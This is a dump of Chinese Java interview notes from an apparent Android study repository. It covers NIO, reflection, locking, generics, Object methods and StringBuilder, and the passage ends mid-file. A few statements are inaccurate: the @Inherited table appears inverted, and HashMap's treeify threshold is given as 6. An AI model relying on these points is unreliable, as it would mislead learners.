时，可以降低或提高子类成员变量B的访问权限，只要A不是 private。\n\n  4. 隐藏成员变量与是否静态无关！静态变量可以隐藏实例变量，实例变量也可以隐藏静态变量。\n\n  5. 可以隐藏超类中的final成员变量。\n\n#### 静态方法\n\n超类 Parent 有静态方法 A ，子类 Child 定义了与 A *相同签名和子集返回类型* 的静态方法 B ，子类对象 ChildObj 调用的是自己的静态方法 B 。如果把子类对象 ChildObj 转换为超类对象 ParentObj ，ParentObj 调用的是超类的静态方法 A ！\n\n> 隐藏后的方法必须仍为静态方法\n"
  },
  {
    "path": "docs/android/interview/java/17-questions.md",
    "content": "# 面试题\n\n### 如何用数组实现队列？\n\n用数组实现队列时要注意 **溢出** 现象，这时我们可以采用循环数组的方式来解决，即将数组收尾相接。使用front指针指向队列首位，tail指针指向队列末位。\n\n---\n\n### 内部类访问局部变量的时候，为什么变量必须加上final修饰？ {#xuan}\n\n因为生命周期不同。局部变量在方法结束后就会被销毁，但内部类对象并不一定，这样就会导致内部类引用了一个不存在的变量。\n\n所以编译器会在内部类中生成一个局部变量的拷贝，这个拷贝的生命周期和内部类对象相同，就不会出现上述问题。\n\n但这样就导致了其中一个变量被修改，两个变量值可能不同的问题。为了解决这个问题，编译器就要求局部变量需要被final修饰，以保证两个变量值相同。\n\n在JDK8之后，编译器不要求内部类访问的局部变量必须被final修饰，但局部变量值不能被修改（无论是方法中还是内部类中），否则会报编译错误。利用javap查看编译后的字节码可以发现，编译器已经加上了final。\n\n---\n\n### long s = 499999999 \\* 499999999 在上面的代码中，s的值是多少？\n\n根据代码的计算结果，`s`的值应该是`-1371654655`，**这是由于Java中右侧值的计算默认是**`int`类型。\n\n---\n\n### NIO相关，Channels、Buffers、Selectors\n\n`NIO(Non-blocking IO)`为所有的原始类型提供\\(Buffer\\)缓存支持，字符集编码解码解决方案。 `Channel` ：一个新的原始I\\/O 抽象。 支持锁和内存映射文件的文件访问接口。提供多路\\(non-bloking\\) 非阻塞式的高伸缩性网络I\\/O 。\n\n| IO | NIO |\n| --- | --- |\n| 面向流 | 面向缓冲 |\n| 阻塞IO | 非阻塞IO |\n| 无 | 选择器 |\n\n##### 流与缓冲\n\nJava NIO和IO之间第一个最大的区别是，**IO是面向流的，NIO是面向缓冲区的**。 Java IO面向流意味着每次从流中读一个或多个字节，直至读取所有字节，它们没有被缓存在任何地方。此外，它不能前后移动流中的数据。如果需要前后移动从流中读取的数据，需要先将它缓存到一个缓冲区。\n\nJava NIO的缓冲导向方法略有不同。**数据读取到一个它稍后处理的缓冲区，需要时可在缓冲区中前后移动。这就增加了处理过程中的灵活性**。但是，还需要检查是否该缓冲区中包含所有您需要处理的数据。而且，需确保当更多的数据读入缓冲区时，不要覆盖缓冲区里尚未处理的数据。\n\n##### 阻塞与非阻塞IO\n\nJava IO的各种流是阻塞的。这意味着，当一个线程调用`read()` 或 `write()`时，该线程被阻塞，直到有一些数据被读取，或数据完全写入。该线程在此期间不能再干任何事情了。 **Java NIO的非阻塞模式，是线程向某通道发送请求读取数据，仅能得到目前可用的数据，如果目前没有数据可用时，就什么都不会获取，当然它不会保持线程阻塞。所以直至数据变的可以读取之前，该线程可以继续做其他的事情**。 非阻塞写也是如此。所以一个单独的线程现在可以管理多个输入和输出通道。\n\n##### 选择器（Selectors）\n\nJava NIO 的 **选择器允许一个单独的线程来监视多个输入通道**，你可以注册多个通道使用一个选择器，然后使用一个单独的线程来“选择”通道：这些通道里已经有可以处理的输入，或者选择已准备写入的通道。这种选择机制，使得一个单独的线程很容易来管理多个通道。\n\n---\n\n### 反射的用途\n\nJava反射机制可以让我们在编译期\\(Compile Time\\)之外的运行期\\(Runtime\\)检查类，接口，变量以及方法的信息。反射还可以让我们在运行期实例化对象，调用方法，通过调用`get/set`方法获取变量的值。同时我们也可以通过反射来获取泛型信息，以及注解。还有更高级的应用--动态代理和动态类加载（`ClassLoader.loadclass()`）。\n\n下面列举一些比较重要的方法：\n\n* getFields：获取所有 `public` 的变量。\n* getDeclaredFields：获取所有包括 `private` , `protected` 权限的变量。\n* setAccessible：设置为 true 可以跳过Java权限检查，从而访问`private`权限的变量。\n* getAnnotations：获取注解，可以用在类和方法上。\n\n获取方法的泛型参数：\n\n```Java\nmethod = Myclass.class.getMethod(\"setStringList\", List.class);\n\nType[] genericParameterTypes = method.getGenericParameterTypes();\n\nfor(Type genericParameterType : genericParameterTypes){\n    if(genericParameterType instanceof ParameterizedType){\n        ParameterizedType aType = (ParameterizedType) genericParameterType;\n        Type[] parameterArgTypes = aType.getActualTypeArguments();\n        for(Type parameterArgType : parameterArgTypes){\n            Class parameterArgClass = (Class) parameterArgType;\n            System.out.println(\"parameterArgClass = \" + parameterArgClass);\n        }\n    }\n}\n```\n\n动态代理：\n\n```Java\n//Main.java\npublic static void main(String[] args) {\n    HelloWorld helloWorld=new HelloWorldImpl();\n    InvocationHandler handler=new HelloWorldHandler(helloWorld);\n\n    //创建动态代理对象\n    HelloWorld proxy=(HelloWorld)Proxy.newProxyInstance(\n            helloWorld.getClass().getClassLoader(),\n            helloWorld.getClass().getInterfaces(),\n            handler);\n    proxy.sayHelloWorld();\n}\n\n//HelloWorldHandler.java\npublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n    Object result = null;\n    //调用之前\n    doBefore();\n    //调用原始对象的方法\n    result=method.invoke(obj, args);\n    //调用之后\n    doAfter();\n    return result;\n}\n```\n\n通过反射获取方法注解的参数：\n\n```Java\nClass aClass = TheClass.class;\nAnnotation[] annotations = aClass.getAnnotations();\n\nfor(Annotation annotation : annotations){\n   if(annotation instanceof MyAnnotation){\n       MyAnnotation myAnnotation = (MyAnnotation) annotation;\n       System.out.println(\"name: \" + myAnnotation.name());\n       System.out.println(\"value: \" + myAnnotation.value());\n   }\n}\n```\n\n---\n\n### Java注解的继承\n\n|  | 有@Inherited | 没有@Inherited |\n| --- | --- | --- |\n| 子类的类上能否继承到父类的类上的注解？ | 否 | 能 |\n| 子类实现了父类上的抽象方法 | 否 | 否 |\n| 子类继承了父类上的方法 | 能 | 能 |\n| 子类覆盖了父类上的方法 | 否 | 否 |\n\n通过测试结果来看，`@Inherited` 只是可控制对类名上注解是否可以被继承。不能控制方法上的注解是否可以被继承。\n\n\n***\n\n### 非静态内部类能定义静态方法吗？\n\n```Java\npublic class OuterClass{\n    private static float f = 1.0f;\n\n    class InnerClass{\n        public static float func(){return f;}\n    }\n}\n```\n\n以上代码会出现编译错误，因为只有静态内部类才能定义静态方法。\n\n***\n\n### Lock 和 Synchronized 有什么区别？\n\n  1. 使用方法的区别\n\n    - **Synchronized**：在需要同步的对象中加入此控制，`synchronized`可以加在方法上，也可以加在特定代码块中，括号中表示需要锁的对象。\n\n    - **Lock**：需要显示指定起始位置和终止位置。一般使用`ReentrantLock`类做为锁，多个线程中必须要使用一个`ReentrantLock`类做为对象才能保证锁的生效。且在加锁和解锁处需要通过`lock()`和`unlock()`显示指出。所以一般会在`finally`块中写`unlock()`以防死锁。\n\n  2. 性能的区别\n\n    `synchronized`是托管给JVM执行的，而`lock`是java写的控制锁的代码。在Java1.5中，`synchronize`是性能低效的。因为这是一个重量级操作，需要调用操作接口，导致有可能加锁消耗的系统时间比加锁以外的操作还多。相比之下使用Java提供的Lock对象，性能更高一些。但是到了Java1.6，发生了变化。`synchronize`在语义上很清晰，可以进行很多优化，有适应自旋，锁消除，锁粗化，轻量级锁，偏向锁等等。导致在Java1.6上`synchronize`的性能并不比Lock差。\n\n      - **Synchronized**：采用的是CPU悲观锁机制，即线程获得的是独占锁。独占锁意味着 **其他线程只能依靠阻塞来等待线程释放锁**。而在CPU转换线程阻塞时会引起线程上下文切换，当有很多线程竞争锁的时候，会引起CPU频繁的上下文切换导致效率很低。\n\n      - **Lock**：用的是乐观锁方式。所谓乐观锁就是，**每次不加锁而是假设没有冲突而去完成某项操作，如果因为冲突失败就重试，直到成功为止**。乐观锁实现的机制就是`CAS`操作。我们可以进一步研究`ReentrantLock`的源代码，会发现其中比较重要的获得锁的一个方法是`compareAndSetState`。这里其实就是调用的CPU提供的特殊指令。\n\n  3. `ReentrantLock`：具有更好的可伸缩性：比如时间锁等候、可中断锁等候、无块结构锁、多个条件变量或者锁投票。\n\n***\n\n### float 变量如何与 0 比较？\n\nfolat类型的还有double类型的，**这些小数类型在趋近于0的时候直接等于0的可能性很小，一般都是无限趋近于0，因此不能用==来判断**。应该用`|x-0|<err`来判断，这里`|x-0|`表示绝对值，`err`表示限定误差。\n\n```Java\n//用程序表示就是\n\nfabs(x) < 0.00001f\n```\n\n***\n\n### 如何新建非静态内部类？\n\n内部类在声明的时候必须是 `Outer.Inner a`，就像`int a` 一样，至于静态内部类和非静态内部类new的时候有点区别：\n\n  - `Outer.Inner a = new Outer().new Inner()`（非静态，先有Outer对象才能 new 内部类）\n  - `Outer.Inner a = new Outer.Inner()`（静态内部类）\n\n***\n\n### Java标识符命名规则\n\n可以包含：字母、数字、$、`_`(下划线)，不可用数字开头，不能是 Java 的关键字和保留字。\n\n***\n\n### 你知道哪些JDK中用到的设计模式？\n\n  * 装饰模式：java.io\n\n  * 单例模式：Runtime类\n\n  * 简单工厂模式：Integer.valueOf方法\n\n  * 享元模式：String常量池、Integer.valueOf\\(int i\\)、Character.valueOf\\(char c\\)\n\n  * 迭代器模式：Iterator\n\n  * 职责链模式：ClassLoader的双亲委派模型\n\n  * 解释器模式：正则表达式java.util.regex.Pattern\n\n\n---\n\n### ConcurrentHashMap如何保证线程安全\n\nJDK 1.7及以前：\n\nConcurrentHashMap允许多个修改操作并发进行，其关键在于使用了锁分离技术。它使用了多个锁来控制对hash表的不同部分进行的修改。ConcurrentHashMap内部使用段\\(Segment\\)来表示这些不同的部分，每个段其实就是一个小的hash table，它们有自己的锁。只要多个修改操作发生在不同的段上，它们就可以并发进行。\n\n详细参考：\n\n[http:\\/\\/www.cnblogs.com\\/ITtangtang\\/p\\/3948786.html](http://www.cnblogs.com/ITtangtang/p/3948786.html)\n\n[http:\\/\\/qifuguang.me\\/2015\\/09\\/10\\/\\[Java并发包学习八\\]深度剖析ConcurrentHashMap\\/](http://qifuguang.me/2015/09/10/[Java%E5%B9%B6%E5%8F%91%E5%8C%85%E5%AD%A6%E4%B9%A0%E5%85%AB]%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90ConcurrentHashMap/)\n\nJDK 1.8：\n\nSegment虽保留，但已经简化属性，仅仅是为了兼容旧版本。\n\n插入时使用CAS算法：unsafe.compareAndSwapInt\\(this, valueOffset, expect, update\\)。 CAS\\(Compare And Swap\\)意思是如果valueOffset位置包含的值与expect值相同，则更新valueOffset位置的值为update，并返回true，否则不更新，返回false。插入时不允许key或value为null\n\n与Java8的HashMap有相通之处，底层依然由“数组”+链表+红黑树；\n\n底层结构存放的是TreeBin对象，而不是TreeNode对象；\n\nCAS作为知名无锁算法，那ConcurrentHashMap就没用锁了么？当然不是，当hash值与链表的头结点相同还是会synchronized上锁，锁链表。\n\n---\n\n### i++在多线程环境下是否存在问题，怎么解决？\n\n虽然递增操作++i是一种紧凑的语法，使其看上去只是一个操作，但这个操作并非原子的，因而它并不会作为一个不可分割的操作来执行。实际上，它包含了三个独立的操作：读取count的值，将值加1，然后将计算结果写入count。这是一个“读取 - 修改 - 写入”的操作序列，并且其结果状态依赖于之前的状态。所以在多线程环境下存在问题。\n\n要解决自增操作在多线程环境下线程不安全的问题，可以选择使用Java提供的原子类，如AtomicInteger或者使用synchronized同步方法。\n\n---\n\n### new与newInstance()的区别\n\n  * new是一个关键字，它是调用new指令创建一个对象，然后调用构造方法来初始化这个对象，可以使用带参数的构造器\n\n  * newInstance()是Class的一个方法，在这个过程中，是先取了这个类的不带参数的构造器Constructor，然后调用构造器的newInstance方法来创建对象。\n\n  > Class.newInstance不能带参数，如果要带参数需要取得对应的构造器，然后调用该构造器的Constructor.newInstance(Object ... initargs)方法\n\n\n---\n\n### 你了解哪些JDK1.8的新特性？\n\n  * 接口的默认方法和静态方法，JDK8允许我们给接口添加一个非抽象的方法实现，只需要使用default关键字即可。也可以定义被static修饰的静态方法。\n\n  * 对HashMap进行了改进，当单个桶的元素个数大于6时就会将实现改为红黑树实现，以避免构造重复的hashCode的攻击\n\n  * 多并发进行了优化。如ConcurrentHashMap实现由分段加锁、锁分离改为CAS实现。\n\n  * JDK8拓宽了注解的应用场景，注解几乎可以使用在任何元素上，并且允许在同一个地方多次使用同一个注解\n\n  * Lambda表达式\n\n---\n\n### 你用过哪些JVM参数？\n\n  - Xms 堆最小值\n\n  - Xmx 堆最大值\n\n  - Xmn: 新生代容量\n\n  - XX:SurvivorRatio 新生代中Eden与Surivor空间比例\n\n  - Xss 栈容量\n\n  - XX:PermSize 方法区初始容量\n\n  - XX:MaxPermSize 方法区最大容量\n\n  - XX:+PrintGCDetails 收集器日志参数\n\n\n***\n\n### 如何打破 ClassLoader 双亲委托？\n\n重写`loadClass()`方法。\n\n***\n\n### hashCode() && equals()\n\n`hashcode()` 返回该对象的哈希码值，支持该方法是为哈希表提供一些优点，例如，`java.util.Hashtable` 提供的哈希表。   \n\n在 Java 应用程序执行期间，在同一对象上多次调用 `hashCode` 方法时，必须一致地返回相同的整数，前提是对象上 `equals` 比较中所用的信息没有被修改（`equals`默认返回对象地址是否相等）。如果根据 `equals(Object) `方法，两个对象是相等的，那么在两个对象中的每个对象上调用 `hashCode` 方法都必须生成相同的整数结果。\n\n以下情况不是必需的：如果根据 `equals(java.lang.Object)` 方法，两个对象不相等，那么在两个对象中的任一对象上调用 `hashCode` 方法必定会生成不同的整数结果。但是，**程序员应该知道，为不相等的对象生成不同整数结果可以提高哈希表的性能**。   \n\n实际上，由 `Object` 类定义的 `hashCode` 方法确实会针对不同的对象返回不同的整数。（**这一般是通过将该对象的内部地址转换成一个整数来实现的，但是 JavaTM 编程语言不需要这种实现技巧I**。）   \n\n  - **hashCode的存在主要是用于查找的快捷性**，如 Hashtable，HashMap等，hashCode 是用来在散列存储结构中确定对象的存储地址的；\n\n  - 如果两个对象相同，就是适用于 `equals(java.lang.Object)` 方法，那么这两个对象的 `hashCode` 一定要相同；\n\n  - 如果对象的 `equals` 方法被重写，那么对象的 `hashCode` 也尽量重写，并且产生 `hashCode` 使用的对象，一定要和 `equals` 方法中使用的一致，否则就会违反上面提到的第2点；\n\n  - **两个对象的hashCode相同，并不一定表示两个对象就相同，也就是不一定适用于equals(java.lang.Object) 方法，只能够说明这两个对象在散列存储结构中，如Hashtable，他们“存放在同一个篮子里”**。\n\n***\n\n### Thread.sleep() & Thread.yield()\n\nsleep()和yield()都会释放CPU。\n\nsleep()使当前线程进入停滞状态，所以执行sleep()的线程在指定的时间内肯定不会执行；yield()只是使当前线程重新回到可执行状态，所以执行yield()的线程有可能在进入到可执行状态后马上又被执行。\n\nsleep()可使优先级低的线程得到执行的机会，当然也可以让同优先级和高优先级的线程有执行的机会；yield()只能使同优先级的线程有执行的机会。\n"
  },
  {
    "path": "docs/android/interview/java/2-operator.md",
    "content": "# 运算符优先级\n\n优先级从上到下依次递减，最上面具有最高的优先级，逗号操作符具有最低的优先级。\n\n相同优先级中，按结合顺序计算。**大多数运算是从左至右计算，只有三个优先级是从右至左结合的，它们是单目运算符、条件运算符、赋值运算符**。\n\n基本的优先级需要记住：\n\n  - 指针最优，单目运算优于双目运算。如正负号。\n  - 先乘除（模），后加减。\n  - 先算术运算，后移位运算，最后位运算。请特别注意：`1 << 3 + 2 & 7`等价于 `(1 << (3 + 2)) & 7`.\n  - 逻辑运算最后计算。\n\n\n## 优先级表\n\n| 运算符\t     | 结合性     |\n| :------------- | :------------- |\n|[ ] . ( ) (方法调用)|从左向右  |\n|! ~ ++ -- +(一元运算) -(一元运算) |从右向左|\n|* / %  |从左向右 |\n|+ -　| 从左向右|\n|<< >> >>> |从左向右|\n|< <= > >= instanceof|\t从左向右|\n|== !=| 从左向右|\n|&|从左向右|\n|^|从左向右|\n| &#124;  |从左向右|\n|&& | 从左向右|\n|  &#124;&#124;  | 从左向右|\n| ?:  | 从右向左|\n| = += -= *= /= %= &= &#124;= ^= <<= >>= >>=  | 从右向左|\n|，|\t从左到右|\n"
  },
  {
    "path": "docs/android/interview/java/3-exception.md",
    "content": "# Java异常\n\nJava中有Error和Exception，它们都是继承自Throwable类。\n\n![](images/error.png)\n\n![](images/exception.png)\n\n## 二者的不同之处\n\nException：\n\n  - 可以是可被控制(checked) 或不可控制的(unchecked)。\n\n  - 表示一个由程序员导致的错误。\n\n  - 应该在应用程序级被处理。\n\nError：\n\n  - 总是不可控制的(unchecked)。\n\n  - 经常用来用于表示系统错误或低层资源的错误。\n\n  - 如何可能的话，应该在系统级被捕捉。\n\n## 异常的分类\n\n  - **Checked exception**: 这类异常都是Exception的子类。异常的向上抛出机制进行处理，假如子类可能产生A异常，那么在父类中也必须throws A异常。可能导致的问题：代码效率低，耦合度过高。\n\n  - **Unchecked exception**: **这类异常都是RuntimeException的子类，虽然RuntimeException同样也是Exception的子类，但是它们是非凡的，它们不能通过client code来试图解决**，所以称为Unchecked exception 。\n"
  },
  {
    "path": "docs/android/interview/java/4-generics.md",
    "content": "# Java泛型\n\n开发人员在使用泛型的时候，很容易根据自己的直觉而犯一些错误。比如一个方法如果接收`List<Object>`作为形式参数，那么如果尝试将一个`List<String>`的对象作为实际参数传进去，却发现无法通过编译。虽然从直觉上来说，`Object`是`String`的父类，这种类型转换应该是合理的。**但是实际上这会产生隐含的类型转换问题，因此编译器直接就禁止这样的行为**。\n\n## 类型擦除\n\nJava中的泛型基本上都是在编译器这个层次来实现的，**在生成的Java字节代码中是不包含泛型中的类型信息的。使用泛型的时候加上的类型参数，会被编译器在编译的时候去掉，这个过程就称为类型擦除**。如在代码中定义的`List<Object>`和`List<String>`等类型，在编译之后都会变成`List`。**JVM看到的只是List，而由泛型附加的类型信息对JVM来说是不可见的**。Java编译器会在编译时尽可能的发现可能出错的地方，但是仍然无法避免在运行时刻出现类型转换异常的情况。\n\n很多泛型的奇怪特性都与这个类型擦除的存在有关，包括：\n\n  - **泛型类并没有自己独有的Class类对象**。比如并不存在`List<String>.class`或是`List<Integer>.class`，而只有`List.class`。\n\n  - **静态变量是被泛型类的所有实例所共享的**。对于声明为`MyClass<T>`的类，访问其中的静态变量的方法仍然是 `MyClass.myStaticVar`。不管是通过`new MyClass<String>`还是`new MyClass<Integer>`创建的对象，都是共享一个静态变量。\n\n  - **泛型的类型参数不能用在Java异常处理的catch语句中**。因为异常处理是由`JVM`在运行时刻来进行的。由于类型信息被擦除，`JVM`是无法区分两个异常类型`MyException<String>`和`MyException<Integer>`的。对于`JVM`来说，它们都是 `MyException`类型的。也就无法执行与异常对应的catch语句。\n\n类型擦除的基本过程也比较简单，首先是找到用来替换类型参数的具体类。这个具体类一般是Object。如果指定了类型参数的上界的话，则使用这个上界。把代码中的类型参数都替换成具体的类。同时去掉出现的类型声明，即去掉<>的内容。比如`T get()`方法声明就变成了`Object get()`；`List<String>`就变成了`List`。接下来就可能需要生成一些桥接方法（bridge method）。这是由于擦除了类型之后的类可能缺少某些必须的方法。比如考虑下面的代码：\n\n\n  ```Java\n  class MyString implements Comparable<String> {\n      public int compareTo(String str) {        \n          return 0;    \n      }\n  }\n  ```\n\n当类型信息被擦除之后，上述类的声明变成了`class MyString implements Comparable`。但是这样的话，类`MyString`就会有编译错误，因为没有实现接口`Comparable`声明的`int compareTo(Object)`方法。这个时候就由编译器来动态生成这个方法。\n\n## 通配符\n\n在使用泛型类的时候，既可以指定一个具体的类型，如`List<String>`就声明了具体的类型是`String`；也可以用通配符`?`来表示未知类型，如`List<?>`就声明了`List`中包含的元素类型是未知的。 通配符所代表的其实是一组类型，但具体的类型是未知的。`List<?>`所声明的就是所有类型都是可以的。**但是`List<?>`并不等同于`List<Object>`。`List<Object>`实际上确定了`List`中包含的是`Object`及其子类，在使用的时候都可以通过`Object`来进行引用。而`List<?>`则其中所包含的元素类型是不确定**。其中可能包含的是`String`，也可能是 `Integer`。如果它包含了`String`的话，往里面添加`Integer`类型的元素就是错误的。**正因为类型未知，就不能通过new ArrayList<?>()的方法来创建一个新的ArrayList对象。因为编译器无法知道具体的类型是什么。但是对于 List<?>中的元素确总是可以用Object来引用的，因为虽然类型未知，但肯定是Object及其子类**。考虑下面的代码：\n\n```Java\npublic void wildcard(List<?> list) {\n    list.add(1);//编译错误\n}  \n```\n\n>如上所示，试图对一个带通配符的泛型类进行操作的时候，总是会出现编译错误。其原因在于通配符所表示的类型是未知的。\n\n因为对于`List<?>`中的元素只能用`Object`来引用，在有些情况下不是很方便。在这些情况下，可以使用上下界来限制未知类型的范围。 如 **`List<? extends Number>`说明List中可能包含的元素类型是`Number`及其子类。而`List<? super Number>`则说明List中包含的是Number及其父类**。当引入了上界之后，在使用类型的时候就可以使用上界类中定义的方法。\n\n## 类型系统\n\n在Java中，大家比较熟悉的是通过继承机制而产生的类型体系结构。比如`String`继承自`Object`。根据`Liskov替换原则`，子类是可以替换父类的。当需要`Object`类的引用的时候，如果传入一个`String`对象是没有任何问题的。但是反过来的话，即用父类的引用替换子类引用的时候，就需要进行强制类型转换。编译器并不能保证运行时刻这种转换一定是合法的。**这种自动的子类替换父类的类型转换机制，对于数组也是适用的。 String[]可以替换Object[]**。但是泛型的引入，对于这个类型系统产生了一定的影响。**正如前面提到的List<String>是不能替换掉List<Object>的**。\n\n引入泛型之后的类型系统增加了两个维度：**一个是类型参数自身的继承体系结构，另外一个是泛型类或接口自身的继承体系结构**。第一个指的是对于 `List<String>`和`List<Object>`这样的情况，类型参数`String`是继承自`Object`的。而第二种指的是 `List`接口继承自`Collection`接口。对于这个类型系统，有如下的一些规则：\n\n  - **相同类型参数的泛型类的关系取决于泛型类自身的继承体系结构**。即`List<String>`是`Collection<String>` 的子类型，`List<String>`可以替换`Collection<String>`。这种情况也适用于带有上下界的类型声明。\n\n  - **当泛型类的类型声明中使用了通配符的时候，其子类型可以在两个维度上分别展开**。如对`Collection<? extends Number>`来说，其子类型可以在`Collection`这个维度上展开，即`List<? extends Number>`和`Set<? extends Number>`等；也可以在`Number`这个层次上展开，即`Collection<Double>`和`Collection<Integer>`等。如此循环下去，`ArrayList<Long>`和 `HashSet<Double>`等也都算是`Collection<? extends Number>`的子类型。\n\n  - 如果泛型类中包含多个类型参数，则对于每个类型参数分别应用上面的规则。\n"
  },
  {
    "path": "docs/android/interview/java/5-object.md",
    "content": "# Object\n\n## getClass\n\n返回该对象运行时的 `class` 对象，返回的 `Class` 对象是由所表示的类的静态同步方法锁定的对象。\n\n## hashCode\n\n返回该对象的 `hashcode`，该方法对hash表提供支持，例如 `HashMap`。\n对于该方法有几点需要注意：\n  - 在运行中的Java应用，如果用在 `equals` 中进行比较的信息没有改变，那么不论何时调用都需要返回一致的int值。这个hash值在应用的两次执行中不需要保持一致。\n  - 如果两个对象根据 `equals` 方法认为是相等的，那么这两个对象也应该返回相等的hashcode。\n  - 不要求两个不相等的对象，在调用 `hashCode` 方法返回的结果是必须是不同的。然而，程序员应该了解不同的对象产生不同的hashcode能够提升哈希表的效率。\nObject的`hashcode`对不同的对象，尽可能返回不同的hashcode。这通常通过将对象的内部地址转换为整数来实现，但Java编程语言不需要此实现技术。\n\n### Arrays.hashCode\n\nArrays.hashCode 是一个数组的浅哈希码实现，深哈希可以使用 `deepHashCode`。并且当数组长度为1时，`Arrays.hashCode(object) = object.hashCode` 不一定成立\n\n### 31\n\n不论是String、Arrays在计算多个元素的哈希值的时候，都会有31这个数字。主要有以下两个原因：\n  - 31是一个不大不小的质数，是作为 hashCode 乘子的优选质数之一。\n    > 另外一些相近的质数，比如37、41、43等等，也都是不错的选择。那么为啥偏偏选中了31呢？请看第二个原因。\n\n  - 31可以被 JVM 优化，31 * i = (i << 5) - i。\n上面两个原因中，第一个需要解释一下，第二个比较简单，就不说了。一般在设计哈希算法时，会选择一个特殊的质数。至于为啥选择质数，我想应该是可以降低哈希算法的冲突率。\n\n在 Effective Java 中有一段相关的解释：\n\n>选择数字31是因为它是一个奇质数，如果选择一个偶数会在乘法运算中产生溢出，导致数值信息丢失，因为乘二相当于移位运算。选择质数的优势并不是特别的明显，但这是一个传统。同时，数字31有一个很好的特性，即乘法运算可以被移位和减法运算取代，来获取更好的性能：31 * i == (i << 5) - i，现代的 Java 虚拟机可以自动的完成这个优化。\n\n## equals\n\n判定两个对象是否相等。`equals`和`hashCode`需要同时被`overwrite`\n\n## clone\n\n创建一个该对象的副本，并且对于对象 x 应当满足以下表达式：\n  - x.clone() != x\n  - x.clone().getClass() == x.getClass()\n  - x.clone().equals(x)\n\n## toString\n\n## wait\n\n当前线程等待知道其他线程调用该对象的 `notify` 或者 `notifyAll`方法。当前线程必须拥有该对象的 `monitor`。线程释放该对象`monitor`的拥有权，并且等待到别的线程通知等待在该对象`monitor`上的线程苏醒。然后线程重新拥有`monitor`并继续执行。在某些jdk版本中，中断和虚假唤醒是存在的，所以`wait`方法需要放在循环中。\n\n```\nsynchronized (obj) {\n    while (<condition does not hold>)\n        obj.wait();\n    ... // Perform action appropriate to condition\n}\n```\n\n该方法只能被拥有该对象`monitor`的线程调用。\n\n### 虚假唤醒（spurious wakeup）\n\n虚假唤醒就是一些`obj.wait()`会在除了`obj.notify()`和`obj.notifyAll()`的其他情况被唤醒，而此时是不应该唤醒的。\n\n> 注意 Lock 的 Conditon.await 也有虚假唤醒的问题\n\n解决的办法是基于while来反复判断进入正常操作的临界条件是否满足\n\n> 同时也可以使用同步数据结构：BlokingQueue\n\n#### 解释\n\n虚假唤醒（spurious wakeup）是一个表象，即在多处理器的系统下发出wait的程序有可能在没有notify唤醒的情形下苏醒继续执行。以运行在linux的hotspot虚拟机上的java程序为例，wait方法在jvm执行时实质是调用了底层 `pthread_cond_wait/pthread_cond_timedwait` 函数，挂起等待条件变量来达到线程间同步通信的效果，而底层wait函数在设计之初为了不减慢条件变量操作的效率并没有去保证每次唤醒都是由notify触发，而是把这个任务交由上层应用去实现，即使用者需要定义一个循环去判断是否条件真能满足程序继续运行的需求，当然这样的实现也可以避免因为设计缺陷导致程序异常唤醒的问题。\n\n## notify\n\n唤醒一个等待在该对象`monitor`上的线程。如果有多个线程等待，则会随机选择一个线程唤醒。线程等待是通过调用`wait`方法。\n\n唤醒的线程不会立即执行，直到当前线程放弃对象上的锁。唤醒的线程也会以通常的方式和竞争该对象锁的线程进行竞争。也就是说，唤醒的线程在对该对象的加锁中没有任何优先级。\n\n该方法只能被拥有该对象`monitor`的线程调用。线程拥有`monitor`有下面三种方式：\n  - 执行该对象的 `synchronized` 方法\n  - 执行以该对象作为同步语句的`synchronized`方法体\n  - 对于class对象，可以执行该对象的`static synchronized`方法\n\n在同一时间只能有一个线程能够拥有该对象`monitor`\n\n## finalize\n\n当GC认为该对象已经没有任何引用的时候，该方法被GC收集器调用。子类可以 overwrite 该方法来关闭系统资源或者其他清理任务。\n\nfinalize的一般契约是，如果Java™虚拟机确定不再有任何方法可以通过任何尚未死亡的线程访问此对象，除非由于某个操作，它将被调用通过最终确定准备完成的其他一些对象或类来完成。 finalize方法可以采取任何操作，包括使该对象再次可用于其他线程;但是，finalize的通常目的是在对象被不可撤销地丢弃之前执行清理操作。例如，表示输入/输出连接的对象的finalize方法可能会执行显式I/O事务，以在永久丢弃对象之前断开连接。\n\n类Object的finalize方法不执行任何特殊操作;它只是正常返回。 Object的子类可以覆盖此定义。\n\nJava编程语言不保证哪个线程将为任何给定对象调用finalize方法。但是，可以保证，调用finalize时，调用finalize的线程不会持有任何用户可见的同步锁。如果finalize方法抛出未捕获的异常，则忽略该异常并终止该对象的终止。在为对象调用finalize方法之后，在Java虚拟机再次确定不再有任何方法可以通过任何尚未死亡的线程访问此对象之前，不会采取进一步操作，包括可能的操作通过准备完成的其他对象或类，此时可以丢弃该对象。\n\n对于任何给定对象，Java虚拟机永远不会多次调用finalize方法。finalize方法抛出的任何异常都会导致暂停此对象的终结，但会被忽略。\n\n### 缺陷\n\n  - 一些与finalize相关的方法，由于一些致命的缺陷，已经被废弃了，如System.runFinalizersOnExit()方法、Runtime.runFinalizersOnExit()方法。\n  - System.gc()与System.runFinalization()方法增加了finalize方法执行的机会，但不可盲目依赖它们。\n  - Java语言规范并不保证finalize方法会被及时地执行、而且根本不会保证它们会被执行。\n  - finalize方法可能会带来性能问题。因为JVM通常在单独的低优先级线程中完成finalize的执行。\n  - 对象再生问题：finalize方法中，可将待回收对象赋值给GC Roots可达的对象引用，从而达到对象再生的目的。\n  - finalize方法至多由GC执行一次(用户当然可以手动调用对象的finalize方法，但并不影响GC对finalize的行为)。\n"
  },
  {
    "path": "docs/android/interview/java/6-StringBuilder.md",
    "content": "# StringBuilder\n\n`StringBuilder`类也封装了一个字符数组，定义如下：\n```\n    char[] value;\n```\n\n与`String`不同，它不是`final`的，可以修改。另外，与`String`不同，字符数组中不一定所有位置都已经被使用，它有一个实例变量，表示数组中已经使用的字符个数，定义如下：\n```\n    int count;\n```\n\n`StringBuilder`继承自`AbstractStringBuilder`，它的默认构造方法是：\n\n```\n    public StringBuilder() {\n        super(16);\n    }\n```\n\n调用父类的构造方法，父类对应的构造方法是：\n\n```\n    AbstractStringBuilder(int capacity) {\n        value = new char[capacity];\n    }\n```\n也就是说，`new StringBuilder()`这句代码，内部会创建一个长度为16的字符数组，count的默认值为0。\n\n## append的实现\n\n```\n    public AbstractStringBuilder append(String str) {\n        if (str == null) str = \"null\";\n        int len = str.length();\n        ensureCapacityInternal(count + len);\n        str.getChars(0, len, value, count);\n        count += len;\n        return this;\n    